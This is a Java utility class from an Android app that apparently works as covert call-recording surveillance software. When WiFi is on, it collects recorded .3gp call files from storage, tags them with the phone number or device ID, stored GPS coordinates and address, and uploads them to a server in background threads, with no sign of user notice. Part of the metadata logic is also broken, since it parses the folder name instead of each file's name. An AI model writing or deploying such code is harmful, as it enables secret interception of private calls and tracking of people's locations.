package com.kaixin.android.utils; import java.io.File; import java.io.FilenameFilter; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.HashMap; import java.util.Map; import com.kaixin.android.common.KaiXinAddress; import com.kaixin.android.service.ListenerService; import android.content.Context; import android.content.SharedPreferences; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.net.wifi.WifiManager; import android.os.Environment; import android.telephony.TelephonyManager; public class ListenerUtil { public static String getUsername(Context context){ TelephonyManager tm2 = (TelephonyManager) context .getSystemService(Context.TELEPHONY_SERVICE); String myPhoneNum = tm2.getLine1Number();// 本机电话号码 String deviceId = tm2.getDeviceId();// 设备ID if(!StringUtil.isNull(CallService.getUsername())){ return CallService.getUsername(); }else if(!StringUtil.isNull(myPhoneNum)){ return myPhoneNum; }else{ return deviceId; } } /** * 网络是否可用 * * @param activity * @return */ public void isWIFIAvailable(Context context) { ConnectivityManager connectivity = (ConnectivityManager) context .getSystemService(Context.CONNECTIVITY_SERVICE); if (connectivity == null) { } else { NetworkInfo[] info = connectivity.getAllNetworkInfo(); if (info != null) { for (int i = 0; i < info.length; i++) { if (info[i].getState() == NetworkInfo.State.CONNECTED || info[i].getState() == NetworkInfo.State.CONNECTING) { WifiManager mWifiMng = (WifiManager) context .getSystemService(context.WIFI_SERVICE); switch (mWifiMng.getWifiState()) { case WifiManager.WIFI_STATE_DISABLED: break; case WifiManager.WIFI_STATE_DISABLING: break; case WifiManager.WIFI_STATE_ENABLED: String sdcardname = KaiXinAddress.SDCARED_DATA; File file1 = new File(sdcardname); File[] files1 = file1.listFiles(new FilenameFilter() { public boolean accept(File dir, String name) { return name.endsWith("3gp"); } }); if (files1 == null || files1.length == 0) { break; } final Map<String, String> m = new HashMap<String, String>(); m.put("username", ListenerUtil.getUsername(context)); m.put("call", file1.getName().substring(0, file1.getName().indexOf("_") + 1)); m.put("called", file1.getName().substring(file1.getName().indexOf("_") + 1)); m.put("latitude", StorageUtil.getString(context, "latitude")); m.put("longitude", StorageUtil.getString(context, "longitude")); m.put("address", StorageUtil.getString(context, "address")); Long time = file1.lastModified(); Calendar cd = Calendar.getInstance(); cd.setTimeInMillis(time); SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); m.put("time", sdf.format(cd.getTime())); for (final File f1 : files1) { if (f1.getName().endsWith("3gp")) { new Thread(new Runnable() { @Override public void run() { try { HttpAssist.uploadVoice(f1.getAbsoluteFile().toString(), m); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } } }).start(); } } break; case WifiManager.WIFI_STATE_ENABLING: // break; case WifiManager.WIFI_STATE_UNKNOWN: break; } break; } } } } } }